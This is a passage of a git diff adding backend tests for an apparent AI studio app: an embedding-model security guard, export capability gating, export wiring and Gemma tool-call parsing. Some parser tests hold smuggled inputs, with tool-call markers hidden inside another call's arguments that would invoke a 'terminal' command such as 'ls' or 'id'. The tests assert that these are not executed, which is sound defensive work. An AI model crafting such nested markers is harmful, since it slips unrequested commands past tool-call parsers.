+    embeddings._guard_model_security("acme/embed-with-module-dir")
+    assert "0_Transformer" in seen["subdirs"]
+
+
+def test_st_module_subdirs_reads_local_modules_json(tmp_path, monkeypatch):
+    # The helper must parse each module's non-empty "path" from a local repo's
+    # modules.json and drop the root-level ("") Transformer entry.
+    import json
+    import core.rag.embeddings as embeddings
+
+    (tmp_path / "modules.json").write_text(
+        json.dumps(
+            [
+                {"idx": 0, "name": "0", "path": "0_Transformer", "type": "..."},
+                {"idx": 1, "name": "1", "path": "1_Pooling", "type": "..."},
+                {"idx": 2, "name": "2", "path": "", "type": "..."},
+            ]
+        )
+    )
+    subdirs = embeddings._st_module_subdirs(str(tmp_path), None)
+    assert subdirs == ("0_Transformer", "1_Pooling")
+
+
+def test_st_module_subdirs_swallows_errors(monkeypatch):
+    # Any failure (no modules.json, offline, malformed) returns () so the guard never
+    # bricks the embedder.
+    import huggingface_hub
+    import core.rag.embeddings as embeddings
+
+    def _boom(*a, **k):
+        raise RuntimeError("offline")
+
+    monkeypatch.setattr(huggingface_hub, "hf_hub_download", _boom)
+    assert embeddings._st_module_subdirs("acme/no-such-repo-xyz", None) == ()
+
+
+def test_security_block_is_not_swallowed_by_llama_fallback(monkeypatch):
+    # The ST encode fallback must re-raise a security block, not swap to llama-server.
+    import core.rag.embeddings as embeddings
+
+    def _boom(*a, **k):
+        raise embeddings.UnsafeEmbeddingModelError("flagged")
+
+    monkeypatch.setattr(embeddings, "_st_encode", _boom)
+    monkeypatch.setattr(
+        embeddings,
+        "_switch_to_llama_fallback",
+        lambda err: pytest.fail("security block must not fall back to llama-server"),
+    )
+    with pytest.raises(embeddings.UnsafeEmbeddingModelError):
+        embeddings._SentenceTransformersBackend().encode(["hi"])
diff --git a/studio/backend/tests/test_embedding_model_settings.py b/studio/backend/tests/test_embedding_model_settings.py
new file mode 100644
index 0000000000..3be4af0e32
--- /dev/null
+++ b/studio/backend/tests/test_embedding_model_settings.py
@@ -0,0 +1,55 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Test for the customizable RAG embedding model: a saved override becomes the
+effective model and derives its GGUF companion for the llama-server backend."""
+
+from pathlib import Path
+import sys
+import types as _types
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+import pytest
+
+import utils.embedding_model_settings as ems
+from core.rag import config as rag_config
+
+
+@pytest.fixture
+def settings_store(monkeypatch):
+    """In-memory app_settings store patched under the module's lazy imports."""
+    import storage.studio_db as studio_db
+
+    store: dict = {}
+    monkeypatch.setattr(
+        studio_db, "get_app_setting", lambda key, fallback = None: store.get(key, fallback)
+    )
+    monkeypatch.setattr(
+        studio_db, "upsert_app_settings", lambda settings: store.update(settings) or store
+    )
+    ems._invalidate_cache()
+    yield store
+    ems._invalidate_cache()
+
+
+def test_custom_model_overrides_default_and_derives_gguf(settings_store, monkeypatch):
+    """The core contract: with nothing stored the default is in effect; a saved
+    custom model becomes the effective embedding model and derives its -GGUF
+    companion (what the llama-server backend loads); reset clears the override."""
+    monkeypatch.delenv("RAG_EMBED_GGUF_REPO", raising = False)
+    assert ems.get_rag_embedding_model() == rag_config.EMBEDDING_MODEL
+    assert rag_config.effective_gguf_repo() == rag_config.EMBED_GGUF_REPO
+
+    assert ems.set_rag_embedding_model("  org/my-embedder  ") == "org/my-embedder"
+    assert rag_config.effective_embedding_model() == "org/my-embedder"
+    assert rag_config.effective_gguf_repo() == "org/my-embedder-GGUF"
+
+    assert ems.reset_rag_embedding_model() == rag_config.EMBEDDING_MODEL
+    assert ems.get_stored_embedding_model() is None
diff --git a/studio/backend/tests/test_export_capability.py b/studio/backend/tests/test_export_capability.py
new file mode 100644
index 0000000000..e04417f933
--- /dev/null
+++ b/studio/backend/tests/test_export_capability.py
@@ -0,0 +1,156 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for export capability gating.
+
+Export is supported iff ``get_device() in {CUDA, XPU, MLX}``, with a torch-aware reason otherwise
+(pytorch_not_installed / no_accelerator / mlx_unavailable), and the backend must import without
+PyTorch. The matrix mocks the hardware probes; wiring is checked with ast so it runs on CPU.
+"""
+
+import ast
+import builtins
+from pathlib import Path
+
+import pytest
+
+import utils.hardware.hardware as hw
+
+_BACKEND = Path(__file__).resolve().parent.parent
+
+
+def _src(rel):
+    return (_BACKEND / rel).read_text(encoding = "utf-8")
+
+
+def _func_src(rel, name):
+    src = _src(rel)
+    node = next(
+        n for n in ast.walk(ast.parse(src)) if isinstance(n, ast.FunctionDef) and n.name == name
+    )
+    return ast.get_source_segment(src, node)
+
+
+# -- capability matrix --------------------------------------------------------------------------
+
+
+def _patch(monkeypatch, *, torch: bool, device, apple: bool):
+    monkeypatch.setattr(hw, "_has_torch", lambda: torch)
+    monkeypatch.setattr(hw, "get_device", lambda: device)
+    monkeypatch.setattr(hw, "is_apple_silicon", lambda: apple)
+
+
+def test_cpu_with_torch_unsupported_no_accelerator(monkeypatch):
+    # PyTorch present but no accelerator: unsupported with no_accelerator, not "PyTorch missing".
+    _patch(monkeypatch, torch = True, device = hw.DeviceType.CPU, apple = False)
+    cap = hw.export_capability()
+    assert cap["export_supported"] is False
+    assert cap["export_unsupported_reason"] == "no_accelerator"
+    assert "accelerator" in cap["export_unsupported_message"].lower()
+    # Must NOT tell a user with PyTorch installed to install PyTorch.
+    assert "PyTorch is not installed" not in cap["export_unsupported_message"]
+
+
+def test_cuda_with_torch_supports_export(monkeypatch):
+    _patch(monkeypatch, torch = True, device = hw.DeviceType.CUDA, apple = False)
+    cap = hw.export_capability()
+    assert cap["export_supported"] is True
+    assert cap["export_unsupported_reason"] is None
+    assert cap["export_unsupported_message"] is None
+
+
+def test_xpu_with_torch_supports_export(monkeypatch):
+    _patch(monkeypatch, torch = True, device = hw.DeviceType.XPU, apple = False)
+    assert hw.export_capability()["export_supported"] is True
+
+
+def test_mlx_without_torch_supports_export(monkeypatch):
+    # Apple Silicon MLX exports without PyTorch.
+    _patch(monkeypatch, torch = False, device = hw.DeviceType.MLX, apple = True)
+    assert hw.export_capability()["export_supported"] is True
+
+
+def test_no_torch_non_apple_reports_pytorch_missing(monkeypatch):
+    _patch(monkeypatch, torch = False, device = hw.DeviceType.CPU, apple = False)
+    cap = hw.export_capability()
+    assert cap["export_supported"] is False
+    assert cap["export_unsupported_reason"] == "pytorch_not_installed"
+    assert "PyTorch is not installed" in cap["export_unsupported_message"]
+
+
+def test_apple_without_mlx_reports_mlx_unavailable(monkeypatch):
+    # Apple + CPU means the MLX stack is missing; reason is mlx_unavailable regardless of torch.
+    for has_torch in (False, True):
+        _patch(monkeypatch, torch = has_torch, device = hw.DeviceType.CPU, apple = True)
+        cap = hw.export_capability()
+        assert cap["export_supported"] is False
+        assert cap["export_unsupported_reason"] == "mlx_unavailable"
+        assert "MLX" in cap["export_unsupported_message"]
+
+
+# -- import safety without PyTorch --------------------------------------------------------------
+
+
+def test_export_backend_imports_without_torch(monkeypatch):
+    """core/export/export.py must import on a --no-torch host (unsloth/torch blocked) and return a
+    clean 'PyTorch is not installed' message from an export attempt, not crash at import."""
+    import importlib
+    import sys
+
+    real_import = builtins.__import__
+
+    def blocking_import(name, *args, **kwargs):
+        top = name.split(".")[0]
+        if top in {"torch", "unsloth"}:
+            raise ImportError(f"simulated: {top} not installed")
+        return real_import(name, *args, **kwargs)
+
+    # Drop any preloaded copies so the guarded import paths re-run under the block.
+    for m in [k for k in sys.modules if k.split(".")[0] in {"torch", "unsloth"}]:
+        monkeypatch.delitem(sys.modules, m, raising = False)
+    monkeypatch.delitem(sys.modules, "core.export.export", raising = False)
+    monkeypatch.setattr(builtins, "__import__", blocking_import)
+
+    mod = importlib.import_module("core.export.export")
+    assert mod._IS_MLX is False
+    assert mod.torch is None
+    assert mod._export_runtime_available() is False
+
+    be = mod.ExportBackend.__new__(mod.ExportBackend)
+    be.current_model = None
+    be.current_tokenizer = None
+    be.is_peft = False
+    be._audio_type = None
+    ok, message, out = be.export_merged_model("/tmp/does-not-matter")
+    assert ok is False
+    assert "PyTorch is not installed" in message
+
+
+# -- endpoint / backend wiring (ast) ------------------------------------------------------------
+
+
+def test_main_endpoints_expose_export_capability():
+    m = _src("main.py")
+    # Both system endpoints spread export_capability() into their response.
+    assert m.count("**export_capability()") >= 2
+    assert '"/api/system/hardware"' in m and '"/api/system"' in m
+
+
+def test_routes_guard_mutating_endpoints():
+    r = _src("routes/export.py")
+    assert "def _ensure_export_supported()" in r
+    # load + all four export endpoints call the guard.
+    assert r.count("_ensure_export_supported()") >= 6
+
+
+def test_export_methods_check_runtime():
+    e = _src("core/export/export.py")
+    assert "def _export_runtime_available()" in e
+    # Each export method returns the clear message when the runtime is missing.
+    assert e.count("_export_runtime_available()") >= 5
+    assert "_PYTORCH_MISSING_MESSAGE" in e
+
+
+def test_export_capability_reads_no_torch_helper():
+    cap = _func_src("utils/hardware/hardware.py", "export_capability")
+    assert "_has_torch()" in cap and "DeviceType.MLX" in cap and "is_apple_silicon()" in cap
diff --git a/studio/backend/tests/test_export_imatrix_compressed.py b/studio/backend/tests/test_export_imatrix_compressed.py
new file mode 100644
index 0000000000..f499390add
--- /dev/null
+++ b/studio/backend/tests/test_export_imatrix_compressed.py
@@ -0,0 +1,246 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for the GGUF imatrix option and compressed-tensors merged export wiring.
+
+Schema checks use the real Pydantic models; the cross-layer threading is verified with ast so it
+runs on CPU with no GPU, no model, and no llama.cpp.
+"""
+
+import ast
+from pathlib import Path
+
+import pytest
+from pydantic import ValidationError
+
+from models.export import ExportGGUFRequest, ExportMergedModelRequest
+
+_BACKEND = Path(__file__).resolve().parent.parent
+
+
+def _src(rel):
+    return (_BACKEND / rel).read_text(encoding = "utf-8")
+
+
+def _func_src(rel, name):
+    src = _src(rel)
+    node = next(
+        n for n in ast.walk(ast.parse(src)) if isinstance(n, ast.FunctionDef) and n.name == name
+    )
+    return ast.get_source_segment(src, node)
+
+
+# -- schema -------------------------------------------------------------------------------------
+
+
+def test_gguf_request_imatrix_defaults_and_set():
+    assert ExportGGUFRequest(save_directory = "/tmp/x").imatrix is False
+    assert ExportGGUFRequest(save_directory = "/tmp/x").imatrix_path is None
+    r = ExportGGUFRequest(save_directory = "/tmp/x", imatrix = True, imatrix_path = "/i.dat")
+    assert r.imatrix is True and r.imatrix_path == "/i.dat"
+
+
+def test_merged_request_accepts_compressed_formats():
+    for fmt in ("16-bit (FP16)", "FP8 (compressed-tensors)", "NVFP4 (compressed-tensors)"):
+        assert ExportMergedModelRequest(save_directory = "/tmp/x", format_type = fmt).format_type == fmt
+
+
+def test_merged_request_rejects_unknown_format():
+    with pytest.raises(ValidationError):
+        ExportMergedModelRequest(save_directory = "/tmp/x", format_type = "bogus")
+
+
+# -- threading (ast) ----------------------------------------------------------------------------
+
+
+def test_export_gguf_threads_imatrix_to_save_and_push():
+    # imatrix_file must reach both save paths, but only via the conditional **imatrix_kw.
+    g = _func_src("core/export/export.py", "export_gguf")
+    assert g.count("**imatrix_kw") >= 2
+    assert 'imatrix_kw = {"imatrix_file": imatrix_file} if imatrix_file is not None else {}' in g
+    # Unconditional pass-through (the old wiring) must be gone.
+    assert "imatrix_file = imatrix_file" not in g
+
+
+def test_export_gguf_guards_unsupported_imatrix_build():
+    # An older unsloth without imatrix_file support gets a clean error, not a TypeError.
+    g = _func_src("core/export/export.py", "export_gguf")
+    assert "_supports_kwarg(" in g and '"imatrix_file"' in g
+
+
+def test_export_merged_guards_unsupported_compressed_build():
+    m = _func_src("core/export/export.py", "export_merged_model")
+    assert "_compressed_export_supported()" in m
+
+
+def test_supports_kwarg_helper():
+    # exec just the helper source so the test stays free of export.py's heavy import chain.
+    ns = {}
+    exec(_func_src("core/export/export.py", "_supports_kwarg"), ns)
+    supports = ns["_supports_kwarg"]
+
+    def has_it(a, imatrix_file = None):
+        pass
+
+    def lacks_it(a):
+        pass
+
+    def via_kwargs(a, **kw):
+        pass
+
+    assert supports(has_it, "imatrix_file") is True
+    assert supports(lacks_it, "imatrix_file") is False
+    assert supports(via_kwargs, "imatrix_file") is True
+
+
+def test_orchestrator_and_worker_pass_imatrix():
+    assert "imatrix_file" in _func_src("core/export/orchestrator.py", "export_gguf")
+    assert 'imatrix_file = cmd.get("imatrix_file")' in _src("core/export/worker.py")
+
+
+def test_route_resolves_imatrix_file():
+    assert "request.imatrix_path or (True if request.imatrix else None)" in _src("routes/export.py")
+
+
+def test_export_merged_maps_compressed_to_save_method():
+    m = _func_src("core/export/export.py", "export_merged_model")
+    assert "is_compressed" in m and '"fp8"' in m and '"nvfp4"' in m
+
+
+def test_compressed_hub_push_uploads_local_dir_without_recompressing():
+    # A compressed / torchao Hub push must upload the built output_path, not re-quantize.
+    m = _func_src("core/export/export.py", "export_merged_model")
+    assert "elif (is_compressed or is_torchao) and output_path and Path(output_path).is_dir():" in m
+    assert "hf_api.upload_folder(" in m and "folder_path = output_path" in m
+
+
+# -- torchao portable FP8/INT8 (device-agnostic, no NVIDIA GPU) ---------------------------------
+
+
+def test_merged_request_accepts_torchao_aliases():
+    # Portable torchao aliases pass through compressed_method (validated in the backend registry).
+    for alias in ("torchao_fp8", "torchao_int8"):
+        r = ExportMergedModelRequest(save_directory = "/tmp/x", compressed_method = alias)
+        assert r.compressed_method == alias
+
+
+def test_export_merged_routes_torchao_and_skips_nvidia_guard():
+    m = _func_src("core/export/export.py", "export_merged_model")
+    # torchao is classified separately and its suffix comes from the torchao normalizer.
+    assert "_normalize_torchao_method(compressed_alias)" in m
+    assert "is_torchao = torchao_info is not None" in m
+    assert "is_compressed = compressed_alias is not None and not is_torchao" in m
+    # The NVIDIA guard applies to compressed-tensors only, not torchao.
+    assert "_has_nvidia_gpu()" in m
+    # torchao routes through save_method just like compressed.
+    assert "elif is_compressed or is_torchao:" in m
+
+
+def test_export_merged_nvidia_guard_present():
+    m = _func_src("core/export/export.py", "export_merged_model")
+    assert "requires an NVIDIA GPU" in m
+
+
+def test_has_nvidia_gpu_helper_reads_hardware_module():
+    h = _func_src("core/export/export.py", "_has_nvidia_gpu")
+    assert "DeviceType.CUDA" in h and "IS_ROCM" in h
+
+
+def test_export_merged_relaxes_is_peft_guard():
+    # Non-PEFT (Local/HF base) models can now export merged; the old hard block must be gone.
+    m = _func_src("core/export/export.py", "export_merged_model")
+    assert "Use 'Export Base Model' instead." not in m
+
+
+def test_unsloth_save_has_torchao_registry_and_path():
+    # Read unsloth/save.py as text (not import) so this runs in the CPU suite without unsloth.
+    save_py = (_BACKEND.parent.parent / "unsloth" / "save.py").read_text(encoding = "utf-8")
+    assert "def _normalize_torchao_method" in save_py
+    assert "def _unsloth_save_torchao" in save_py
+    assert "TORCHAO_EXPORT_SCHEMES = {" in save_py
+    # torchao aliases must map to (scheme, suffix) so the backend routes to the torchao path.
+    assert '"torchao_fp8": ("fp8", "torchao-fp8")' in save_py
+    assert '"torchao_int8": ("int8", "torchao-int8")' in save_py
+
+
+# -- GGUF multi-quant list ----------------------------------------------------------------------
+
+
+def test_gguf_request_accepts_list_of_quants():
+    r = ExportGGUFRequest(save_directory = "/tmp/x", quantization_method = ["Q4_K_M", "Q8_0"])
+    assert r.quantization_method == ["Q4_K_M", "Q8_0"]
+    r2 = ExportGGUFRequest(save_directory = "/tmp/x", quantization_method = "Q4_K_M")
+    assert r2.quantization_method == "Q4_K_M"
+
+
+def test_export_gguf_normalizes_quant_list():
+    g = _func_src("core/export/export.py", "export_gguf")
+    assert "isinstance(quantization_method, (list, tuple))" in g
+    assert "quant_methods" in g
+
+
+# -- GGUF LoRA adapter export -------------------------------------------------------------------
+
+
+def test_lora_request_has_gguf_fields():
+    from models.export import ExportLoRAAdapterRequest
+
+    r = ExportLoRAAdapterRequest(save_directory = "/tmp/x")
+    assert r.gguf is False and r.gguf_outtype == "q8_0"
+    r2 = ExportLoRAAdapterRequest(save_directory = "/tmp/x", gguf = True, gguf_outtype = "q8_0")
+    assert r2.gguf is True and r2.gguf_outtype == "q8_0"
+
+
+def test_lora_request_rejects_bad_outtype():
+    from models.export import ExportLoRAAdapterRequest
+    with pytest.raises(ValidationError):
+        ExportLoRAAdapterRequest(save_directory = "/tmp/x", gguf_outtype = "q3_k")
+
+
+def test_export_lora_wires_gguf_save_method():
+    la = _func_src("core/export/export.py", "export_lora_adapter")
+    assert 'save_method = "lora"' in la
+    assert "quantization_method = outtype" in la
+
+
+def test_orchestrator_and_worker_pass_lora_gguf():
+    o = _func_src("core/export/orchestrator.py", "export_lora_adapter")
+    assert '"gguf": gguf' in o and '"gguf_outtype": gguf_outtype' in o
+    w = _src("core/export/worker.py")
+    assert 'gguf = cmd.get("gguf", False)' in w
+    assert 'gguf_outtype = cmd.get("gguf_outtype", "q8_0")' in w
+
+
+def test_route_passes_lora_gguf():
+    r = _src("routes/export.py")
+    assert "gguf = request.gguf" in r and "gguf_outtype = request.gguf_outtype" in r
+
+
+# -- compressed_method ("all formats" dropdown) -------------------------------------------------
+
+
+def test_merged_request_accepts_compressed_method():
+    # Defaults to None; any scheme alias is accepted (validation happens in the backend registry).
+    assert ExportMergedModelRequest(save_directory = "/tmp/x").compressed_method is None
+    for alias in ("fp8", "fp8_static", "w8a8", "w8a16", "w4a16", "mxfp4", "mxfp8", "nvfp4"):
+        r = ExportMergedModelRequest(save_directory = "/tmp/x", compressed_method = alias)
+        assert r.compressed_method == alias
+
+
+def test_export_merged_resolves_alias_via_registry():
+    # The scheme + suffix must come from unsloth.save's registry normalizer, not a hardcoded dict.
+    m = _func_src("core/export/export.py", "export_merged_model")
+    assert "compressed_method" in m
+    assert "_normalize_compressed_method(compressed_alias)" in m
+    assert "compressed_alias = compressed_method or _LABEL_TO_ALIAS.get(format_type)" in m
+    assert "compressed_suffix" in m and 'f"{save_directory}-{compressed_suffix}"' in m
+
+
+def test_orchestrator_and_worker_pass_compressed_method():
+    o = _func_src("core/export/orchestrator.py", "export_merged_model")
+    assert "compressed_method" in o and '"compressed_method": compressed_method' in o
+    assert 'compressed_method = cmd.get("compressed_method")' in _src("core/export/worker.py")
+
+
+def test_route_passes_compressed_method():
+    assert "compressed_method = request.compressed_method" in _src("routes/export.py")
diff --git a/studio/backend/tests/test_gemma_tool_parse_edge_cases.py b/studio/backend/tests/test_gemma_tool_parse_edge_cases.py
new file mode 100644
index 0000000000..e3055d2127
--- /dev/null
+++ b/studio/backend/tests/test_gemma_tool_parse_edge_cases.py
@@ -0,0 +1,411 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Gemma-native tool-call parsing edge cases: commas inside bare string values,
+and markers inside another call's argument data staying data."""
+
+from __future__ import annotations
+
+import json
+import sys
+from pathlib import Path
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+from core.inference.tool_call_parser import (
+    _gemma_parse_value,
+    parse_tool_calls_from_text,
+)
+from core.tool_healing import strip_tool_call_markup
+
+
+def _args(call: dict) -> dict:
+    return json.loads(call["function"]["arguments"])
+
+
+def test_bare_string_argument_with_comma_is_kept():
+    calls = parse_tool_calls_from_text(
+        "<|tool_call>call:get_weather{location:New York, NY,unit:celsius}<tool_call|>"
+    )
+    assert len(calls) == 1, calls
+    assert calls[0]["function"]["name"] == "get_weather"
+    assert _args(calls[0]) == {"location": "New York, NY", "unit": "celsius"}
+
+
+def test_normal_multi_key_arguments_still_split():
+    calls = parse_tool_calls_from_text('<|tool_call>call:f{a:1,b:hello,c:"x,y"}<tool_call|>')
+    assert len(calls) == 1, calls
+    assert _args(calls[0]) == {"a": 1, "b": "hello", "c": "x,y"}
+
+
+def test_empty_bare_value_becomes_empty_string_not_dropped():
+    # An empty bare value (``{query:}``) must serialise as ``""`` (``{"query":}`` is invalid JSON and dropped the call).
+    calls = parse_tool_calls_from_text("<|tool_call>call:search{query:,unit:celsius}<tool_call|>")
+    assert len(calls) == 1, calls
+    assert _args(calls[0]) == {"query": "", "unit": "celsius"}
+
+    only = parse_tool_calls_from_text("<|tool_call>call:get{q:}<tool_call|>")
+    assert len(only) == 1, only
+    assert _args(only[0]) == {"q": ""}
+
+
+def test_bare_value_with_timestamps_after_comma_is_kept():
+    # A comma before digits-then-colon (timestamp/ratio) is value text, not a key.
+    calls = parse_tool_calls_from_text(
+        "<|tool_call>call:remind{query:meet at 10:00, 11:00 tomorrow,priority:high}<tool_call|>"
+    )
+    assert len(calls) == 1, calls
+    assert _args(calls[0]) == {"query": "meet at 10:00, 11:00 tomorrow", "priority": "high"}
+
+
+def test_wrapperless_bare_value_with_timestamps_after_comma_is_kept():
+    # The wrapper-less Gemma form (no <|tool_call> markers) goes through the
+    # _gemma_parse_stripped_body scanner and its _GEMMA_KEY_RE.
+    calls = parse_tool_calls_from_text("call:web_search{query:meet at 10:00, 11:00 tomorrow}")
+    assert len(calls) == 1, calls
+    assert calls[0]["function"]["name"] == "web_search"
+    assert _args(calls[0]) == {"query": "meet at 10:00, 11:00 tomorrow"}
+
+
+def test_marker_inside_json_argument_is_not_a_second_call():
+    content = (
+        '<tool_call>{"name":"python","arguments":{"code":'
+        '"x = 1  # <|tool_call>call:terminal{command:ls}<tool_call|>"}}</tool_call>'
+    )
+    calls = parse_tool_calls_from_text(content)
+    assert [c["function"]["name"] for c in calls] == ["python"], calls
+
+
+def test_two_separate_gemma_calls_both_parse():
+    content = "<|tool_call>call:a{x:1}<tool_call|> and <|tool_call>call:b{y:2}<tool_call|>"
+    calls = parse_tool_calls_from_text(content)
+    assert [c["function"]["name"] for c in calls] == ["a", "b"], calls
+    assert _args(calls[0]) == {"x": 1}
+    assert _args(calls[1]) == {"y": 2}
+
+
+def test_mixed_format_calls_preserve_document_order():
+    content = (
+        "<|tool_call>call:create{path:a}<tool_call|> then "
+        '<tool_call>{"name":"read","arguments":{"path":"a"}}</tool_call>'
+    )
+    calls = parse_tool_calls_from_text(content)
+    assert [c["function"]["name"] for c in calls] == ["create", "read"], calls
+
+
+def test_json_marker_inside_gemma_argument_is_not_a_second_call():
+    content = (
+        '<|tool_call>call:python{code:<|"|>'
+        'print(<tool_call>{"name":"terminal","arguments":{"command":"ls"}}</tool_call>)'
+        '<|"|>}<tool_call|>'
+    )
+    calls = parse_tool_calls_from_text(content)
+    assert [c["function"]["name"] for c in calls] == ["python"], calls
+
+
+def test_nested_gemma_marker_in_unquoted_arg_does_not_run_inner_call():
+    # An UNQUOTED Gemma value containing a literal marker: the marker is nested in the outer
+    # candidate span, so it must not be promoted to a standalone `terminal` call (no tool call).
+    content = "<|tool_call>call:python{code:<|tool_call>call:terminal{command:ls}<tool_call|>}<tool_call|>"
+    calls = parse_tool_calls_from_text(content)
+    assert "terminal" not in [c["function"]["name"] for c in calls], calls
+
+
+def test_bare_string_array_argument_is_quoted():
+    calls = parse_tool_calls_from_text("<|tool_call>call:label{labels:[bug,ui]}<tool_call|>")
+    assert len(calls) == 1, calls
+    assert _args(calls[0]) == {"labels": ["bug", "ui"]}
+
+
+def test_array_keeps_numbers_and_quoted_elements():
+    calls = parse_tool_calls_from_text(
+        '<|tool_call>call:f{nums:[1,2],tags:[<|"|>a,b<|"|>,c]}<tool_call|>'
+    )
+    assert _args(calls[0]) == {"nums": [1, 2], "tags": ["a,b", "c"]}
+
+
+def test_array_of_objects_is_normalised():
+    calls = parse_tool_calls_from_text(
+        "<|tool_call>call:batch{items:[{path:a,mode:r},{path:b,mode:w}]}<tool_call|>"
+    )
+    assert len(calls) == 1, calls
+    assert _args(calls[0]) == {"items": [{"path": "a", "mode": "r"}, {"path": "b", "mode": "w"}]}
+
+
+def test_nested_array_elements_are_normalised():
+    calls = parse_tool_calls_from_text("<|tool_call>call:grid{cells:[[a,b],[c,d]]}<tool_call|>")
+    assert _args(calls[0]) == {"cells": [["a", "b"], ["c", "d"]]}
+
+
+def test_gemma_marker_inside_xml_parameter_is_not_a_second_call():
+    content = (
+        "<tool_call><function=python><parameter=code>"
+        "x = 1  # <|tool_call>call:terminal{command:ls}<tool_call|>"
+        "</parameter></function></tool_call>"
+    )
+    calls = parse_tool_calls_from_text(content)
+    assert [c["function"]["name"] for c in calls] == ["python"], calls
+    assert "terminal" in _args(calls[0])["code"]
+
+
+def test_json_marker_inside_xml_parameter_is_not_a_second_call():
+    content = (
+        "<tool_call><function=python><parameter=code>"
+        'run(<tool_call>{"name":"terminal","arguments":{"command":"ls"}}</tool_call>)'
+        "</parameter></function></tool_call>"
+    )
+    calls = parse_tool_calls_from_text(content)
+    assert [c["function"]["name"] for c in calls] == ["python"], calls
+
+
+def test_unclosed_think_literal_inside_tool_argument_does_not_hide_later_call():
+    # A literal <think> inside a completed call's arguments is argument data; both calls must parse.
+    text = '[TOOL_CALLS]a{"x":"literal <think> marker"} b[ARGS]{"y":2}'
+    calls = parse_tool_calls_from_text(text)
+    assert [c["function"]["name"] for c in calls] == ["a", "b"], calls
+
+
+def test_real_think_block_with_rehearsal_inside_still_skips_only_the_rehearsal():
+    # A genuine reasoning block still hides its rehearsal while a real call after it parses.
+    text = '<think>web_search[ARGS]{"q":"draft"}</think>real[ARGS]{"q":"go"}'
+    calls = parse_tool_calls_from_text(text)
+    assert [c["function"]["name"] for c in calls] == ["real"], calls
+
+
+def test_wrapperless_nested_object_argument_is_parsed():
+    # skip_special_tokens stream: wrapper and <|"|> markers stripped, so a nested object arrives bare.
+    calls = parse_tool_calls_from_text("call:f{loc:{city:NYC},n:3}")
+    assert len(calls) == 1
+    assert _args(calls[0]) == {"loc": {"city": "NYC"}, "n": 3}
+
+
+def test_wrapperless_array_argument_is_parsed():
+    calls = parse_tool_calls_from_text("call:label{labels:[bug,ui],n:2}")
+    assert len(calls) == 1
+    assert _args(calls[0]) == {"labels": ["bug", "ui"], "n": 2}
+
+
+def test_wrapperless_deeply_nested_object_and_array_are_preserved():
+    # The single-pass parser must keep multi-level nesting (objects inside
+    # objects, arrays inside arrays) intact, not flatten or drop it.
+    calls = parse_tool_calls_from_text(
+        "call:f{loc:{city:NYC,geo:{lat:1,lng:2}},tags:[a,b,[c,d]],n:3}"
+    )
+    assert len(calls) == 1
+    assert _args(calls[0]) == {
+        "loc": {"city": "NYC", "geo": {"lat": 1, "lng": 2}},
+        "tags": ["a", "b", ["c", "d"]],
+        "n": 3,
+    }
+
+
+def test_gemma_parse_array_advances_on_stray_brace():
+    # Regression: a stray '}' / ']' / ',' where an array element is expected must
+    # not stall _gemma_parse_value at the same index (it looped forever before).
+    from core.inference.tool_call_parser import _gemma_parse_array
+
+    items, end, closed = _gemma_parse_array("[a,}]", 0)
+    assert end == 5 and closed is True  # consumed through the closing ']'
+    assert items[0] == "a"
+
+
+def test_gemma_close_marker_inside_quoted_arg_is_not_leaked_when_stripping():
+    # Parse keeps the quoted close marker as data; strip removes the whole span.
+    text = '<|tool_call>call:python{code:<|"|>print("<tool_call|>")<|"|>}<tool_call|>'
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1, calls
+    assert _args(calls[0]) == {"code": 'print("<tool_call|>")'}
+    assert strip_tool_call_markup("before " + text + " after") == "before  after"
+    assert strip_tool_call_markup("before " + text + " after", final = True) == "before  after"
+
+
+def test_nested_xml_in_malformed_gemma_call_does_not_execute():
+    # The failed Gemma candidate's span still covers its nested <function=>.
+    text = (
+        "<|tool_call>call:outer{code:<function=terminal><parameter=command>id"
+        "</parameter></function></tool_call>, broken:{x}}<tool_call|>"
+    )
+    for allow_incomplete in (True, False):
+        calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete)
+        assert "terminal" not in [c["function"]["name"] for c in calls], calls
+
+
+def test_unbalanced_gemma_call_with_xml_does_not_execute():
+    # Unclosed braces cover to EOF, so the trailing <function=> is excluded.
+    text = (
+        "<|tool_call>call:outer{code:<function=terminal>"
+        "<parameter=command>id</parameter></function>"
+    )
+    for allow_incomplete in (True, False):
+        calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete)
+        assert "terminal" not in [c["function"]["name"] for c in calls], calls
+
+
+def test_standalone_function_xml_still_parses():
+    text = "<function=terminal><parameter=command>id</parameter></function>"
+    calls = parse_tool_calls_from_text(text)
+    assert [c["function"]["name"] for c in calls] == ["terminal"], calls
+
+
+def test_xml_between_braces_and_close_marker_does_not_execute():
+    # Coverage runs to the close marker, so <function=> in the gap is data.
+    text = (
+        "<|tool_call>call:outer{broken:{x}}<function=terminal>"
+        "<parameter=command>id</parameter></function><tool_call|>"
+    )
+    for allow_incomplete in (True, False):
+        calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete)
+        assert "terminal" not in [c["function"]["name"] for c in calls], calls
+
+
+def test_balanced_inner_call_inside_unclosed_outer_does_not_execute():
+    text = "<|tool_call>call:outer{code:<|tool_call>call:terminal{command:id}<tool_call|>"
+    for allow_incomplete in (True, False):
+        calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete)
+        assert "terminal" not in [c["function"]["name"] for c in calls], calls
+
+
+def test_strip_preserves_text_after_malformed_gemma_close():
